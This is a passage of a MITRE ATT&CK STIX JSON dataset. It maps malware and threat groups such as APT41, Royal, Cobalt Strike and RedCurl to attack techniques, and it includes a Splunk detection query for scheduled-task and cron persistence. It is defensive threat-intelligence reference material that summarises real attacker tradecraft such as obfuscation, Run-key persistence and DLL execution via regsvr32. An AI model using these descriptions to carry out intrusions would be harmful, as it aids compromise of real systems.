2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T15:33:02.536Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) can use certain ConfuserEx features for obfuscation and can be encoded in a base64 string.(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d93fb52b-985e-4012-9b9f-8638e35c18a0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2020-03-16T16:28:16.012Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) obtains application windows titles and then determines which windows to perform [Screen Capture](https://attack.mitre.org/techniques/T1113) on.(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9416afb-0aeb-4ee3-bd96-dc331f40f37d","type":"relationship","created":"2020-04-30T20:31:37.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}],"modified":"2020-05-01T15:05:46.940Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has executed file /bin/pwd on exploited victims, perhaps to return architecture related information.(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d942783e-906f-4d2c-963b-1cc2f8429ff1","created":"2023-03-31T19:30:59.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T20:35:48.195Z","description":"[Royal](https://attack.mitre.org/software/S1073) establishes a TCP socket for C2 communication using the API `WSASocketW`.(Citation: Cybereason Royal December 2022)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d948a3b2-4873-4175-be18-ddef1c20347d","type":"relationship","created":"2020-03-09T13:51:07.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T13:51:07.152Z","relationship_type":"revoked-by","source_ref":"attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d94c8e3f-337f-4d56-990f-8ff0d16dca3b","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:13:53.628Z","description":"Monitor for changes made to files that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.\n\nAnalytic 1 - Look for task file modifications with unusual parameters.\n\nindex=security_logs OR index=system_logs\n(sourcetype=\"docker_events\" OR sourcetype=\"kubernetes_events\" OR sourcetype=\"wineventlog:security\" OR sourcetype=\"linux_secure\" OR sourcetype=\"syslog\" OR sourcetype=\"file_monitoring\")\n| eval platform=case(\n sourcetype==\"docker_events\" OR sourcetype==\"kubernetes_events\", \"Containers\",\n sourcetype==\"wineventlog:security\", \"Windows\",\n sourcetype==\"linux_secure\" OR sourcetype==\"syslog\", \"Linux\",\n sourcetype==\"mac_os_events\", \"macOS\"\n)\n| search (\n (platform=\"Containers\" AND (event_type=\"file_modify\" AND (file_path=\"*/etc/cron.d/*\" OR file_path=\"*/etc/systemd/system/*\" OR file_path=\"/etc/crontab\"))) OR\n (platform=\"Windows\" AND EventCode=4663 AND (ObjectName=\"C:\\\\Windows\\\\System32\\\\Tasks\\\\*\" OR ObjectName=\"C:\\\\Windows\\\\Tasks\\\\*\")) OR\n (platform=\"Linux\" AND (file_path=\"/etc/cron.d/*\" OR file_path=\"/etc/systemd/system/*\" OR file_path=\"/etc/crontab\")) OR\n (platform=\"macOS\" AND (file_path=\"/Library/LaunchDaemons/*\" OR file_path=\"/Library/LaunchAgents/*\"))\n) ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d95285f5-803c-4eaf-977e-b221bd41f4d2","type":"relationship","created":"2019-09-16T19:41:10.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2019-09-16T19:41:10.157Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has used regsvr32.exe to execute the malicious DLL.(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d953a664-5a8f-45a9-a3e6-819cb2cef2c7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-16T15:39:47.692Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) is capable of capturing video.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d969a8d8-189e-4315-81a4-c2244dfbd92c","type":"relationship","created":"2019-04-19T16:39:52.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Nltest Manual","url":"https://ss64.com/nt/nltest.html","description":"ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019."}],"modified":"2019-04-22T19:06:17.484Z","description":"[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate the parent domain of a local machine using /parentdomain.(Citation: Nltest Manual)","relationship_type":"uses","source_ref":"tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d96d964f-fec6-475e-acc5-d25ff0d46af9","type":"relationship","created":"2020-05-06T21:31:07.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.621Z","description":"[Okrum](https://attack.mitre.org/software/S0439) was seen using a keylogger tool to capture keystrokes. (Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d96db78c-e7b8-4877-8187-07c5e801cead","type":"relationship","created":"2020-08-11T21:15:35.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.494Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has used HTTP if DNS C2 communications were not functioning.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d96dd876-5752-4ea6-bb4b-ef92f60d57fe","created":"2023-10-04T17:45:24.335Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:45:24.335Z","description":"[Disco](https://attack.mitre.org/software/S1088) has been executed through inducing user interaction with malicious .zip and .msi files.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--e1445afd-c359-45ed-8f27-626dc4d5e157","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d96e80d3-f4ca-40bd-ae69-979a0a782a57","created":"2024-09-16T08:45:28.402Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:45:28.402Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) reads the value of the infected system's `HKLM\\SYSTEM\\Microsoft\\Cryptography\\MachineGUID` value.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d970ba14-4c96-4f98-a1e1-4417f52b76f3","type":"relationship","created":"2021-02-04T14:30:37.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS September 2019","url":"https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again","description":"Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021."}],"modified":"2021-04-21T02:25:51.099Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations.(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d979c181-32f5-4977-8ca9-30a1edc595c0","created":"2022-06-02T13:51:00.731Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) can collect the username from a compromised host.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T13:51:00.731Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d979fd42-450e-4bd3-a6f8-74b8c8f8fb7b","created":"2020-11-06T18:40:38.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.844Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can conduct peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d97c5cd6-97e9-4684-a598-1e31406c7e2c","created":"2024-09-23T22:55:28.275Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:55:28.275Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has established persistence by creating entries in `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d98049fe-a13f-406f-a727-a47bdc296484","created":"2023-10-02T21:04:35.530Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T21:04:35.530Z","description":"Review logs for SaaS services, including Office 365 and Google Workspace, to detect the configuration of new webhooks or other features that could be abused to exfiltrate data.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9898b1f-9056-400c-9b26-26c87500cfe3","type":"relationship","created":"2020-05-28T16:38:03.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-04-14T19:19:30.200Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has included embedded Visual Basic scripts in malicious documents.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d98b5525-3cc5-4058-baf5-d614b91eb814","type":"relationship","created":"2019-01-30T15:47:41.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-20T16:06:56.346Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) uses XOR and RC4 to perform decryption on the code functions.(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d99149ea-7a52-455c-a56d-1f78a727a846","created":"2024-05-17T13:30:59.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.138Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses mixed-case letters for filenames and commands to evade detection.(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d992890d-5725-4bed-8d33-51dfbff77087","created":"2022-10-10T16:28:47.103Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:28:47.103Z","description":"For [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors likely established an identified email account to register a variety of domains that were used during the campaign.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d993160c-17cd-4026-996a-f7c9bb5b5fc7","created":"2021-10-15T20:30:52.299Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Dragos Crashoverride 2018)","modified":"2022-06-30T20:19:13.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d99a5e57-de21-406c-84cb-f268bac37dd5","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d99ad754-c9fa-4244-b4fa-69a0b2191e24","created":"2022-01-11T15:20:42.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:54.000Z","description":"The [Winnti for Windows](https://attack.mitre.org/software/S0141) dropper can decrypt and decompresses a data blob.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9a18216-bb4f-445a-92a9-abd99ba0609a","created":"2023-10-05T17:03:07.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-10T17:34:58.495Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has staged legitimate software, that was trojanized to contain an Atera agent installer, on Amazon S3.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9a2aa92-6063-47f7-9add-8e4d7f4cca73","created":"2024-07-01T15:28:38.133Z","revoked":false,"external_references":[{"source_name":"apt41_mandiant","description":"Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:28:38.133Z","description":"[APT41](https://attack.mitre.org/groups/G0096) impersonated an employee at a 